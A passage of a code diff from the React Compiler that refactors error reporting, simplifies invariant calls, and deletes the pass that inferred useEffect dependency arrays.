instr as TInstruction<CallExpression> | TInstruction<MethodCall>,
|
||||
manualMemo.kind,
|
||||
sidemap,
|
||||
errors,
|
||||
func.env,
|
||||
);
|
||||
|
||||
if (memoDetails == null) {
|
||||
@@ -464,7 +463,7 @@ export function dropManualMemoization(
|
||||
* is rare and likely sketchy.
|
||||
*/
|
||||
if (!sidemap.functions.has(fnPlace.identifier.id)) {
|
||||
errors.pushDiagnostic(
|
||||
func.env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.UseMemo,
|
||||
reason: `Expected the first argument to be an inline function expression`,
|
||||
@@ -549,8 +548,6 @@ export function dropManualMemoization(
|
||||
markInstructionIds(func.body);
|
||||
}
|
||||
}
|
||||
|
||||
return errors.asResult();
|
||||
}
|
||||
|
||||
function findOptionalPlaces(fn: HIRFunction): Set<IdentifierId> {
|
||||
@@ -584,24 +581,14 @@ function findOptionalPlaces(fn: HIRFunction): Set<IdentifierId> {
|
||||
break;
|
||||
}
|
||||
case 'maybe-throw': {
|
||||
CompilerError.throwTodo({
|
||||
reason: `Support value blocks (conditional, logical, optional chaining, etc) within a try/catch statement`,
|
||||
description: null,
|
||||
loc: terminal.loc,
|
||||
suggestions: null,
|
||||
});
|
||||
testBlock = fn.body.blocks.get(terminal.continuation)!;
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected terminal in optional`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: `Unexpected ${terminal.kind} in optional`,
|
||||
},
|
||||
],
|
||||
message: `Unexpected ${terminal.kind} in optional`,
|
||||
loc: terminal.loc,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,710 +0,0 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import * as t from '@babel/types';
|
||||
import {CompilerError, SourceLocation} from '..';
|
||||
import {
|
||||
ArrayExpression,
|
||||
Effect,
|
||||
FunctionExpression,
|
||||
GeneratedSource,
|
||||
HIRFunction,
|
||||
IdentifierId,
|
||||
Instruction,
|
||||
makeInstructionId,
|
||||
TInstruction,
|
||||
InstructionId,
|
||||
ScopeId,
|
||||
ReactiveScopeDependency,
|
||||
Place,
|
||||
ReactiveScope,
|
||||
ReactiveScopeDependencies,
|
||||
Terminal,
|
||||
isUseRefType,
|
||||
isSetStateType,
|
||||
isFireFunctionType,
|
||||
makeScopeId,
|
||||
HIR,
|
||||
BasicBlock,
|
||||
BlockId,
|
||||
isEffectEventFunctionType,
|
||||
} from '../HIR';
|
||||
import {collectHoistablePropertyLoadsInInnerFn} from '../HIR/CollectHoistablePropertyLoads';
|
||||
import {collectOptionalChainSidemap} from '../HIR/CollectOptionalChainDependencies';
|
||||
import {ReactiveScopeDependencyTreeHIR} from '../HIR/DeriveMinimalDependenciesHIR';
|
||||
import {DEFAULT_EXPORT} from '../HIR/Environment';
|
||||
import {
|
||||
createTemporaryPlace,
|
||||
fixScopeAndIdentifierRanges,
|
||||
markInstructionIds,
|
||||
markPredecessors,
|
||||
reversePostorderBlocks,
|
||||
} from '../HIR/HIRBuilder';
|
||||
import {
|
||||
collectTemporariesSidemap,
|
||||
DependencyCollectionContext,
|
||||
handleInstruction,
|
||||
} from '../HIR/PropagateScopeDependenciesHIR';
|
||||
import {buildDependencyInstructions} from '../HIR/ScopeDependencyUtils';
|
||||
import {
|
||||
eachInstructionOperand,
|
||||
eachTerminalOperand,
|
||||
terminalFallthrough,
|
||||
} from '../HIR/visitors';
|
||||
import {empty} from '../Utils/Stack';
|
||||
import {getOrInsertWith} from '../Utils/utils';
|
||||
import {deadCodeElimination} from '../Optimization';
|
||||
import {BuiltInAutodepsId} from '../HIR/ObjectShape';
|
||||
|
||||
/**
|
||||
* Infers reactive dependencies captured by useEffect lambdas and adds them as
|
||||
* a second argument to the useEffect call if no dependency array is provided.
|
||||
*/
|
||||
export function inferEffectDependencies(fn: HIRFunction): void {
|
||||
const fnExpressions = new Map<
|
||||
IdentifierId,
|
||||
TInstruction<FunctionExpression>
|
||||
>();
|
||||
|
||||
const autodepFnConfigs = new Map<string, Map<string, number>>();
|
||||
for (const effectTarget of fn.env.config.inferEffectDependencies!) {
|
||||
const moduleTargets = getOrInsertWith(
|
||||
autodepFnConfigs,
|
||||
effectTarget.function.source,
|
||||
() => new Map<string, number>(),
|
||||
);
|
||||
moduleTargets.set(
|
||||
effectTarget.function.importSpecifierName,
|
||||
effectTarget.autodepsIndex,
|
||||
);
|
||||
}
|
||||
const autodepFnLoads = new Map<IdentifierId, number>();
|
||||
const autodepModuleLoads = new Map<IdentifierId, Map<string, number>>();
|
||||
|
||||
const scopeInfos = new Map<ScopeId, ReactiveScopeDependencies>();
|
||||
|
||||
const loadGlobals = new Set<IdentifierId>();
|
||||
|
||||
/**
|
||||
* When inserting LoadLocals, we need to retain the reactivity of the base
|
||||
* identifier, as later passes e.g. PruneNonReactiveDeps take the reactivity of
|
||||
* a base identifier as the "maximal" reactivity of all its references.
|
||||
* Concretely,
|
||||
* reactive(Identifier i) = Union_{reference of i}(reactive(reference))
|
||||
*/
|
||||
const reactiveIds = inferReactiveIdentifiers(fn);
|
||||
const rewriteBlocks: Array<BasicBlock> = [];
|
||||
|
||||
for (const [, block] of fn.body.blocks) {
|
||||
if (block.terminal.kind === 'scope') {
|
||||
const scopeBlock = fn.body.blocks.get(block.terminal.block)!;
|
||||
if (
|
||||
scopeBlock.instructions.length === 1 &&
|
||||
scopeBlock.terminal.kind === 'goto' &&
|
||||
scopeBlock.terminal.block === block.terminal.fallthrough
|
||||
) {
|
||||
scopeInfos.set(
|
||||
block.terminal.scope.id,
|
||||
block.terminal.scope.dependencies,
|
||||
);
|
||||
}
|
||||
}
|
||||
const rewriteInstrs: Array<SpliceInfo> = [];
|
||||
for (const instr of block.instructions) {
|
||||
const {value, lvalue} = instr;
|
||||
if (value.kind === 'FunctionExpression') {
|
||||
fnExpressions.set(
|
||||
lvalue.identifier.id,
|
||||
instr as TInstruction<FunctionExpression>,
|
||||
);
|
||||
} else if (value.kind === 'PropertyLoad') {
|
||||
if (
|
||||
typeof value.property === 'string' &&
|
||||
autodepModuleLoads.has(value.object.identifier.id)
|
||||
) {
|
||||
const moduleTargets = autodepModuleLoads.get(
|
||||
value.object.identifier.id,
|
||||
)!;
|
||||
const propertyName = value.property;
|
||||
const numRequiredArgs = moduleTargets.get(propertyName);
|
||||
if (numRequiredArgs != null) {
|
||||
autodepFnLoads.set(lvalue.identifier.id, numRequiredArgs);
|
||||
}
|
||||
}
|
||||
} else if (value.kind === 'LoadGlobal') {
|
||||
loadGlobals.add(lvalue.identifier.id);
|
||||
/*
|
||||
* TODO: Handle properties on default exports, like
|
||||
* import React from 'react';
|
||||
* React.useEffect(...);
|
||||
*/
|
||||
if (value.binding.kind === 'ImportNamespace') {
|
||||
const moduleTargets = autodepFnConfigs.get(value.binding.module);
|
||||
if (moduleTargets != null) {
|
||||
autodepModuleLoads.set(lvalue.identifier.id, moduleTargets);
|
||||
}
|
||||
}
|
||||
if (
|
||||
value.binding.kind === 'ImportSpecifier' ||
|
||||
value.binding.kind === 'ImportDefault'
|
||||
) {
|
||||
const moduleTargets = autodepFnConfigs.get(value.binding.module);
|
||||
if (moduleTargets != null) {
|
||||
const importSpecifierName =
|
||||
value.binding.kind === 'ImportSpecifier'
|
||||
? value.binding.imported
|
||||
: DEFAULT_EXPORT;
|
||||
const numRequiredArgs = moduleTargets.get(importSpecifierName);
|
||||
if (numRequiredArgs != null) {
|
||||
autodepFnLoads.set(lvalue.identifier.id, numRequiredArgs);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (
|
||||
value.kind === 'CallExpression' ||
|
||||
value.kind === 'MethodCall'
|
||||
) {
|
||||
const callee =
|
||||
value.kind === 'CallExpression' ? value.callee : value.property;
|
||||
|
||||
const autodepsArgIndex = value.args.findIndex(
|
||||
arg =>
|
||||
arg.kind === 'Identifier' &&
|
||||
arg.identifier.type.kind === 'Object' &&
|
||||
arg.identifier.type.shapeId === BuiltInAutodepsId,
|
||||
);
|
||||
const autodepsArgExpectedIndex = autodepFnLoads.get(
|
||||
callee.identifier.id,
|
||||
);
|
||||
|
||||
if (
|
||||
value.args.length > 0 &&
|
||||
autodepsArgExpectedIndex != null &&
|
||||
autodepsArgIndex === autodepsArgExpectedIndex &&
|
||||
autodepFnLoads.has(callee.identifier.id) &&
|
||||
value.args[0].kind === 'Identifier'
|
||||
) {
|
||||
// We have a useEffect call with no deps array, so we need to infer the deps
|
||||
const effectDeps: Array<Place> = [];
|
||||
const deps: ArrayExpression = {
|
||||
kind: 'ArrayExpression',
|
||||
elements: effectDeps,
|
||||
loc: GeneratedSource,
|
||||
};
|
||||
const depsPlace = createTemporaryPlace(fn.env, GeneratedSource);
|
||||
depsPlace.effect = Effect.Read;
|
||||
|
||||
const fnExpr = fnExpressions.get(value.args[0].identifier.id);
|
||||
if (fnExpr != null) {
|
||||
// We have a function expression, so we can infer its dependencies
|
||||
const scopeInfo =
|
||||
fnExpr.lvalue.identifier.scope != null
|
||||
? scopeInfos.get(fnExpr.lvalue.identifier.scope.id)
|
||||
: null;
|
||||
let minimalDeps: Set<ReactiveScopeDependency>;
|
||||
if (scopeInfo != null) {
|
||||
minimalDeps = new Set(scopeInfo);
|
||||
} else {
|
||||
minimalDeps = inferMinimalDependencies(fnExpr);
|
||||
}
|
||||
/**
|
||||
* Step 1: push dependencies to the effect deps array
|
||||
*
|
||||
* Note that it's invalid to prune all non-reactive deps in this pass, see
|
||||
* the `infer-effect-deps/pruned-nonreactive-obj` fixture for an
|
||||
* explanation.
|
||||
*/
|
||||
|
||||
const usedDeps = [];
|
||||
for (const maybeDep of minimalDeps) {
|
||||
if (
|
||||
((isUseRefType(maybeDep.identifier) ||
|
||||
isSetStateType(maybeDep.identifier)) &&
|
||||
!reactiveIds.has(maybeDep.identifier.id)) ||
|
||||
isFireFunctionType(maybeDep.identifier) ||
|
||||
isEffectEventFunctionType(maybeDep.identifier)
|
||||
) {
|
||||
// exclude non-reactive hook results, which will never be in a memo block
|
||||
continue;
|
||||
}
|
||||
|
||||
const dep = truncateDepAtCurrent(maybeDep);
|
||||
const {place, value, exitBlockId} = buildDependencyInstructions(
|
||||
dep,
|
||||
fn.env,
|
||||
);
|
||||
rewriteInstrs.push({
|
||||
kind: 'block',
|
||||
location: instr.id,
|
||||
value,
|
||||
exitBlockId: exitBlockId,
|
||||
});
|
||||
effectDeps.push(place);
|
||||
usedDeps.push(dep);
|
||||
}
|
||||
|
||||
// For LSP autodeps feature.
|
||||
const decorations: Array<t.SourceLocation> = [];
|
||||
for (const loc of collectDepUsages(usedDeps, fnExpr.value)) {
|
||||
if (typeof loc === 'symbol') {
|
||||
continue;
|
||||
}
|
||||
decorations.push(loc);
|
||||
}
|
||||
if (typeof value.loc !== 'symbol') {
|
||||
fn.env.logger?.logEvent(fn.env.filename, {
|
||||
kind: 'AutoDepsDecorations',
|
||||
fnLoc: value.loc,
|
||||
decorations,
|
||||
});
|
||||
}
|
||||
|
||||
// Step 2: push the inferred deps array as an argument of the useEffect
|
||||
rewriteInstrs.push({
|
||||
kind: 'instr',
|
||||
location: instr.id,
|
||||
value: {
|
||||
id: makeInstructionId(0),
|
||||
loc: GeneratedSource,
|
||||
lvalue: {...depsPlace, effect: Effect.Mutate},
|
||||
value: deps,
|
||||
effects: null,
|
||||
},
|
||||
});
|
||||
value.args[autodepsArgIndex] = {
|
||||
...depsPlace,
|
||||
effect: Effect.Freeze,
|
||||
};
|
||||
fn.env.inferredEffectLocations.add(callee.loc);
|
||||
} else if (loadGlobals.has(value.args[0].identifier.id)) {
|
||||
// Global functions have no reactive dependencies, so we can insert an empty array
|
||||
rewriteInstrs.push({
|
||||
kind: 'instr',
|
||||
location: instr.id,
|
||||
value: {
|
||||
id: makeInstructionId(0),
|
||||
loc: GeneratedSource,
|
||||
lvalue: {...depsPlace, effect: Effect.Mutate},
|
||||
value: deps,
|
||||
effects: null,
|
||||
},
|
||||
});
|
||||
value.args[autodepsArgIndex] = {
|
||||
...depsPlace,
|
||||
effect: Effect.Freeze,
|
||||
};
|
||||
fn.env.inferredEffectLocations.add(callee.loc);
|
||||
}
|
||||
} else if (
|
||||
value.args.length >= 2 &&
|
||||
value.args.length - 1 === autodepFnLoads.get(callee.identifier.id) &&
|
||||
value.args[0] != null &&
|
||||
value.args[0].kind === 'Identifier'
|
||||
) {
|
||||
const penultimateArg = value.args[value.args.length - 2];
|
||||
const depArrayArg = value.args[value.args.length - 1];
|
||||
if (
|
||||
depArrayArg.kind !== 'Spread' &&
|
||||
penultimateArg.kind !== 'Spread' &&
|
||||
typeof depArrayArg.loc !== 'symbol' &&
|
||||
typeof penultimateArg.loc !== 'symbol' &&
|
||||
typeof value.loc !== 'symbol'
|
||||
) {
|
||||
fn.env.logger?.logEvent(fn.env.filename, {
|
||||
kind: 'AutoDepsEligible',
|
||||
fnLoc: value.loc,
|
||||
depArrayLoc: {
|
||||
...depArrayArg.loc,
|
||||
start: penultimateArg.loc.end,
|
||||
end: depArrayArg.loc.end,
|
||||
},
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
rewriteSplices(block, rewriteInstrs, rewriteBlocks);
|
||||
}
|
||||
|
||||
if (rewriteBlocks.length > 0) {
|
||||
for (const block of rewriteBlocks) {
|
||||
fn.body.blocks.set(block.id, block);
|
||||
}
|
||||
|
||||
/**
|
||||
* Fixup the HIR to restore RPO, ensure correct predecessors, and renumber
|
||||
* instructions.
|
||||
*/
|
||||
reversePostorderBlocks(fn.body);
|
||||
markPredecessors(fn.body);
|
||||
// Renumber instructions and fix scope ranges
|
||||
markInstructionIds(fn.body);
|
||||
fixScopeAndIdentifierRanges(fn.body);
|
||||
deadCodeElimination(fn);
|
||||
|
||||
fn.env.hasInferredEffect = true;
|
||||
}
|
||||
}
|
||||
|
||||
function truncateDepAtCurrent(
|
||||
dep: ReactiveScopeDependency,
|
||||
): ReactiveScopeDependency {
|
||||
const idx = dep.path.findIndex(path => path.property === 'current');
|
||||
if (idx === -1) {
|
||||
return dep;
|
||||
} else {
|
||||
return {...dep, path: dep.path.slice(0, idx)};
|
||||
}
|
||||
}
|
||||
|
||||
type SpliceInfo =
|
||||
| {kind: 'instr'; location: InstructionId; value: Instruction}
|
||||
| {
|
||||
kind: 'block';
|
||||
location: InstructionId;
|
||||
value: HIR;
|
||||
exitBlockId: BlockId;
|
||||
};
|
||||
|
||||
function rewriteSplices(
|
||||
originalBlock: BasicBlock,
|
||||
splices: Array<SpliceInfo>,
|
||||
rewriteBlocks: Array<BasicBlock>,
|
||||
): void {
|
||||
if (splices.length === 0) {
|
||||
return;
|
||||
}
|
||||
/**
|
||||
* Splice instructions or value blocks into the original block.
|
||||
* --- original block ---
|
||||
* bb_original
|
||||
* instr1
|
||||
* ...
|
||||
* instr2 <-- splice location
|
||||
* instr3
|
||||
* ...
|
||||
* <original terminal>
|
||||
*
|
||||
* If there is more than one block in the splice, this means that we're
|
||||
* splicing in a set of value-blocks of the following structure:
|
||||
* --- blocks we're splicing in ---
|
||||
* bb_entry:
|
||||
* instrEntry
|
||||
* ...
|
||||
* <splice terminal> fallthrough=bb_exit
|
||||
*
|
||||
* bb1(value):
|
||||
* ...
|
||||
*
|
||||
* bb_exit:
|
||||
* instrExit
|
||||
* ...
|
||||
* <synthetic terminal>
|
||||
*
|
||||
*
|
||||
* --- rewritten blocks ---
|
||||
* bb_original
|
||||
* instr1
|
||||
* ... (original instructions)
|
||||
* instr2
|
||||
* instrEntry
|
||||
* ... (spliced instructions)
|
||||
* <splice terminal> fallthrough=bb_exit
|
||||
*
|
||||
* bb1(value):
|
||||
* ...
|
||||
*
|
||||
* bb_exit:
|
||||
* instrExit
|
||||
* ... (spliced instructions)
|
||||
* instr3
|
||||
* ... (original instructions)
|
||||
* <original terminal>
|
||||
*/
|
||||
const originalInstrs = originalBlock.instructions;
|
||||
let currBlock: BasicBlock = {...originalBlock, instructions: []};
|
||||
rewriteBlocks.push(currBlock);
|
||||
|
||||
let cursor = 0;
|
||||
|
||||
for (const rewrite of splices) {
|
||||
while (originalInstrs[cursor].id < rewrite.location) {
|
||||
CompilerError.invariant(
|
||||
originalInstrs[cursor].id < originalInstrs[cursor + 1].id,
|
||||
{
|
||||
reason:
|
||||
'[InferEffectDependencies] Internal invariant broken: expected block instructions to be sorted',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: originalInstrs[cursor].loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
},
|
||||
);
|
||||
currBlock.instructions.push(originalInstrs[cursor]);
|
||||
cursor++;
|
||||
}
|
||||
CompilerError.invariant(originalInstrs[cursor].id === rewrite.location, {
|
||||
reason:
|
||||
'[InferEffectDependencies] Internal invariant broken: splice location not found',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: originalInstrs[cursor].loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
if (rewrite.kind === 'instr') {
|
||||
currBlock.instructions.push(rewrite.value);
|
||||
} else if (rewrite.kind === 'block') {
|
||||
const {entry, blocks} = rewrite.value;
|
||||
const entryBlock = blocks.get(entry)!;
|
||||
// splice in all instructions from the entry block
|
||||
currBlock.instructions.push(...entryBlock.instructions);
|
||||
if (blocks.size > 1) {
|
||||
/**
|
||||
* We're splicing in a set of value-blocks, which means we need
|
||||
* to push new blocks and update terminals.
|
||||
*/
|
||||
CompilerError.invariant(
|
||||
terminalFallthrough(entryBlock.terminal) === rewrite.exitBlockId,
|
||||
{
|
||||
reason:
|
||||
'[InferEffectDependencies] Internal invariant broken: expected entry block to have a fallthrough',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: entryBlock.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
},
|
||||
);
|
||||
const originalTerminal = currBlock.terminal;
|
||||
currBlock.terminal = entryBlock.terminal;
|
||||
|
||||
for (const [id, block] of blocks) {
|
||||
if (id === entry) {
|
||||
continue;
|
||||
}
|
||||
if (id === rewrite.exitBlockId) {
|
||||
block.terminal = originalTerminal;
|
||||
currBlock = block;
|
||||
}
|
||||
rewriteBlocks.push(block);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
currBlock.instructions.push(...originalInstrs.slice(cursor));
|
||||
}
|
||||
|
||||
function inferReactiveIdentifiers(fn: HIRFunction): Set<IdentifierId> {
|
||||
const reactiveIds: Set<IdentifierId> = new Set();
|
||||
for (const [, block] of fn.body.blocks) {
|
||||
for (const instr of block.instructions) {
|
||||
/**
|
||||
* No need to traverse into nested functions as
|
||||
* 1. their effects are recorded in `LoweredFunction.dependencies`
|
||||
* 2. we don't mark `reactive` in these anyways
|
||||
*/
|
||||
for (const place of eachInstructionOperand(instr)) {
|
||||
if (place.reactive) {
|
||||
reactiveIds.add(place.identifier.id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (const place of eachTerminalOperand(block.terminal)) {
|
||||
if (place.reactive) {
|
||||
reactiveIds.add(place.identifier.id);
|
||||
}
|
||||
}
|
||||
}
|
||||
return reactiveIds;
|
||||
}
|
||||
|
||||
function collectDepUsages(
|
||||
deps: Array<ReactiveScopeDependency>,
|
||||
fnExpr: FunctionExpression,
|
||||
): Array<SourceLocation> {
|
||||
const identifiers: Map<IdentifierId, ReactiveScopeDependency> = new Map();
|
||||
const loadedDeps: Set<IdentifierId> = new Set();
|
||||
const sourceLocations = [];
|
||||
for (const dep of deps) {
|
||||
identifiers.set(dep.identifier.id, dep);
|
||||
}
|
||||
|
||||
for (const [, block] of fnExpr.loweredFunc.func.body.blocks) {
|
||||
for (const instr of block.instructions) {
|
||||
if (
|
||||
instr.value.kind === 'LoadLocal' &&
|
||||
identifiers.has(instr.value.place.identifier.id)
|
||||
) {
|
||||
loadedDeps.add(instr.lvalue.identifier.id);
|
||||
}
|
||||
for (const place of eachInstructionOperand(instr)) {
|
||||
if (loadedDeps.has(place.identifier.id)) {
|
||||
// TODO(@jbrown215): handle member exprs!!
|
||||
sourceLocations.push(place.identifier.loc);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return sourceLocations;
|
||||
}
|
||||
|
||||
function inferMinimalDependencies(
|
||||
fnInstr: TInstruction<FunctionExpression>,
|
||||
): Set<ReactiveScopeDependency> {
|
||||
const fn = fnInstr.value.loweredFunc.func;
|
||||
|
||||
const temporaries = collectTemporariesSidemap(fn, new Set());
|
||||
const {
|
||||
hoistableObjects,
|
||||
processedInstrsInOptional,
|
||||
temporariesReadInOptional,
|
||||
} = collectOptionalChainSidemap(fn);
|
||||
|
||||
const hoistablePropertyLoads = collectHoistablePropertyLoadsInInnerFn(
|
||||
fnInstr,
|
||||
temporaries,
|
||||
hoistableObjects,
|
||||
);
|
||||
const hoistableToFnEntry = hoistablePropertyLoads.get(fn.body.entry);
|
||||
CompilerError.invariant(hoistableToFnEntry != null, {
|
||||
reason:
|
||||
'[InferEffectDependencies] Internal invariant broken: missing entry block',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: fnInstr.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
const dependencies = inferDependencies(
|
||||
fnInstr,
|
||||
new Map([...temporaries, ...temporariesReadInOptional]),
|
||||
processedInstrsInOptional,
|
||||
);
|
||||
|
||||
const tree = new ReactiveScopeDependencyTreeHIR(
|
||||
[...hoistableToFnEntry.assumedNonNullObjects].map(o => o.fullPath),
|
||||
);
|
||||
for (const dep of dependencies) {
|
||||
tree.addDependency({...dep});
|
||||
}
|
||||
|
||||
return tree.deriveMinimalDependencies();
|
||||
}
|
||||
|
||||
function inferDependencies(
|
||||
fnInstr: TInstruction<FunctionExpression>,
|
||||
temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,
|
||||
processedInstrsInOptional: ReadonlySet<Instruction | Terminal>,
|
||||
): Set<ReactiveScopeDependency> {
|
||||
const fn = fnInstr.value.loweredFunc.func;
|
||||
const context = new DependencyCollectionContext(
|
||||
new Set(),
|
||||
temporaries,
|
||||
processedInstrsInOptional,
|
||||
);
|
||||
for (const dep of fn.context) {
|
||||
context.declare(dep.identifier, {
|
||||
id: makeInstructionId(0),
|
||||
scope: empty(),
|
||||
});
|
||||
}
|
||||
const placeholderScope: ReactiveScope = {
|
||||
id: makeScopeId(0),
|
||||
range: {
|
||||
start: fnInstr.id,
|
||||
end: makeInstructionId(fnInstr.id + 1),
|
||||
},
|
||||
dependencies: new Set(),
|
||||
reassignments: new Set(),
|
||||
declarations: new Map(),
|
||||
earlyReturnValue: null,
|
||||
merged: new Set(),
|
||||
loc: GeneratedSource,
|
||||
};
|
||||
context.enterScope(placeholderScope);
|
||||
inferDependenciesInFn(fn, context, temporaries);
|
||||
context.exitScope(placeholderScope, false);
|
||||
const resultUnfiltered = context.deps.get(placeholderScope);
|
||||
CompilerError.invariant(resultUnfiltered != null, {
|
||||
reason:
|
||||
'[InferEffectDependencies] Internal invariant broken: missing scope dependencies',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: fn.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
const fnContext = new Set(fn.context.map(dep => dep.identifier.id));
|
||||
const result = new Set<ReactiveScopeDependency>();
|
||||
for (const dep of resultUnfiltered) {
|
||||
if (fnContext.has(dep.identifier.id)) {
|
||||
result.add(dep);
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
function inferDependenciesInFn(
|
||||
fn: HIRFunction,
|
||||
context: DependencyCollectionContext,
|
||||
temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,
|
||||
): void {
|
||||
for (const [, block] of fn.body.blocks) {
|
||||
// Record referenced optional chains in phis
|
||||
for (const phi of block.phis) {
|
||||
for (const operand of phi.operands) {
|
||||
const maybeOptionalChain = temporaries.get(operand[1].identifier.id);
|
||||
if (maybeOptionalChain) {
|
||||
context.visitDependency(maybeOptionalChain);
|
||||
}
|
||||
}
|
||||
}
|
||||
for (const instr of block.instructions) {
|
||||
if (
|
||||
instr.value.kind === 'FunctionExpression' ||
|
||||
instr.value.kind === 'ObjectMethod'
|
||||
) {
|
||||
context.declare(instr.lvalue.identifier, {
|
||||
id: instr.id,
|
||||
scope: context.currentScope,
|
||||
});
|
||||
/**
|
||||
* Recursively visit the inner function to extract dependencies
|
||||
*/
|
||||
const innerFn = instr.value.loweredFunc.func;
|
||||
context.enterInnerFn(instr as TInstruction<FunctionExpression>, () => {
|
||||
inferDependenciesInFn(innerFn, context, temporaries);
|
||||
});
|
||||
} else {
|
||||
handleInstruction(instr, context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -45,7 +45,7 @@ import {
|
||||
eachTerminalOperand,
|
||||
eachTerminalSuccessor,
|
||||
} from '../HIR/visitors';
|
||||
import {Ok, Result} from '../Utils/Result';
|
||||
|
||||
import {
|
||||
assertExhaustive,
|
||||
getOrInsertDefault,
|
||||
@@ -100,7 +100,7 @@ export function inferMutationAliasingEffects(
|
||||
{isFunctionExpression}: {isFunctionExpression: boolean} = {
|
||||
isFunctionExpression: false,
|
||||
},
|
||||
): Result<void, CompilerError> {
|
||||
): void {
|
||||
const initialState = InferenceState.empty(fn.env, isFunctionExpression);
|
||||
|
||||
// Map of blocks to the last (merged) incoming state that was processed
|
||||
@@ -134,15 +134,7 @@ export function inferMutationAliasingEffects(
|
||||
CompilerError.invariant(fn.params.length <= 2, {
|
||||
reason:
|
||||
'Expected React component to have not more than two parameters: one for props and for ref',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: fn.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: fn.loc,
|
||||
});
|
||||
const [props, ref] = fn.params;
|
||||
if (props != null) {
|
||||
@@ -209,13 +201,7 @@ export function inferMutationAliasingEffects(
|
||||
CompilerError.invariant(false, {
|
||||
reason: `[InferMutationAliasingEffects] Potential infinite loop`,
|
||||
description: `A value, temporary place, or effect was not cached properly`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: fn.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: fn.loc,
|
||||
});
|
||||
}
|
||||
for (const [blockId, block] of fn.body.blocks) {
|
||||
@@ -234,7 +220,7 @@ export function inferMutationAliasingEffects(
|
||||
}
|
||||
}
|
||||
}
|
||||
return Ok(undefined);
|
||||
return;
|
||||
}
|
||||
|
||||
function findHoistedContextDeclarations(
|
||||
@@ -522,20 +508,13 @@ function inferBlock(
|
||||
const terminal = block.terminal;
|
||||
if (terminal.kind === 'try' && terminal.handlerBinding != null) {
|
||||
context.catchHandlers.set(terminal.handler, terminal.handlerBinding);
|
||||
} else if (terminal.kind === 'maybe-throw') {
|
||||
} else if (terminal.kind === 'maybe-throw' && terminal.handler !== null) {
|
||||
const handlerParam = context.catchHandlers.get(terminal.handler);
|
||||
if (handlerParam != null) {
|
||||
CompilerError.invariant(state.kind(handlerParam) != null, {
|
||||
reason:
|
||||
'Expected catch binding to be intialized with a DeclareLocal Catch instruction',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
'Expected catch binding to be initialized with a DeclareLocal Catch instruction',
|
||||
loc: terminal.loc,
|
||||
});
|
||||
const effects: Array<AliasingEffect> = [];
|
||||
for (const instr of block.instructions) {
|
||||
@@ -685,14 +664,7 @@ function applySignature(
|
||||
) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Expected instruction lvalue to be initialized`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: instruction.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: instruction.loc,
|
||||
});
|
||||
}
|
||||
return effects.length !== 0 ? effects : null;
|
||||
@@ -721,13 +693,7 @@ function applyEffect(
|
||||
CompilerError.invariant(!initialized.has(effect.into.identifier.id), {
|
||||
reason: `Cannot re-initialize variable within an instruction`,
|
||||
description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: effect.into.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: effect.into.loc,
|
||||
});
|
||||
initialized.add(effect.into.identifier.id);
|
||||
|
||||
@@ -766,13 +732,7 @@ function applyEffect(
|
||||
CompilerError.invariant(!initialized.has(effect.into.identifier.id), {
|
||||
reason: `Cannot re-initialize variable within an instruction`,
|
||||
description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: effect.into.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: effect.into.loc,
|
||||
});
|
||||
initialized.add(effect.into.identifier.id);
|
||||
|
||||
@@ -832,13 +792,7 @@ function applyEffect(
|
||||
CompilerError.invariant(!initialized.has(effect.into.identifier.id), {
|
||||
reason: `Cannot re-initialize variable within an instruction`,
|
||||
description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,
|
||||
details: [
|
